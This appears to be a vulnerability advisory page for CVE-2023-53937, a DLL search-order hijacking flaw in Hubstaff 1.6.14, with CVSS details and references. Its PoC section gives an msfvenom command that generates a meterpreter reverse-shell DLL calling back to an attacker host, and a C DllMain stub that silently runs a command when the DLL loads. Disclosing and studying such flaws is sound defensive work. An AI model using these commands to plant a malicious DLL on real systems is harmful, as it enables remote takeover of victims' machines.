CVE-2023-53937

Description

Hubstaff 1.6.14 contains a DLL search order hijacking vulnerability that allows attackers to replace a missing system32 wow64log.dll with a malicious library. Attackers can generate a custom DLL using Metasploit and place it in the system32 directory to obtain a reverse shell during application startup.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hubstaff:hubstaff:1.6.13:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:hubstaff:hubstaff:1.6.14:*:*:*:*:*:*:* - VULNERABLE

Hubstaff < 1.6.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f dll > wow64log.dll

# 恶意DLL利用代码示例（C语言）
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
    {
        WinExec("cmd.exe /c <malicious_command>", SW_HIDE);
    }
    return TRUE;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53937
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53937
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53937/
[4] VulDB https://vuldb.com/cve/CVE-2023-53937
[5] https://hubstaff.com/
[6] https://www.exploit-db.com/exploits/51461
[7] https://www.vulncheck.com/advisories/hubstaff-dll-search-order-hijacking-via-wowlog-library

Raw JSON Data

JSON

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